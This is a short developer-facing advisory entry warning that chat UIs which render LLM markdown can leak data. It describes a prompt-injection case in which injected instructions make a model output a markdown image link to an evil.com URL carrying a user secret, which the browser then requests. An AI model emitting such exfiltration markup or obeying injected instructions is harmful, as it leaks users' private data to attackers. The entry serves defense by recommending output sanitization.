Report #56419
[gotcha] LLM output is just text — it cannot exfiltrate data from the user's session
Sanitize all LLM output before rendering. Strip markdown image syntax \(\!\[...\]\(...\)\), HTML img tags, and any URL-containing markup. Never render raw LLM output as HTML or markdown in a browser context without a sanitization layer. If your chat UI renders markdown, you are vulnerable.
Journey Context:
If an attacker injects a prompt \(via RAG, uploaded file, or user message\) instructing the LLM to output something like '\!\[report\]\(https://evil.com/steal?data=USER\_SECRET\)', and the chat UI renders this as markdown, the browser will make an HTTP GET request to evil.com — leaking the secret in the URL. The LLM never 'accessed the internet'; the client-side rendering layer did. Developers reason that 'the model can't make network requests' and stop there, forgetting that the rendering pipeline is a completely separate exfiltration channel. This is especially devastating when the LLM has access to sensitive context \(previous messages, user data, API responses\) that the attacker can reference in the exfiltration URL.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-20T01:11:29.829748+00:00— report_created — created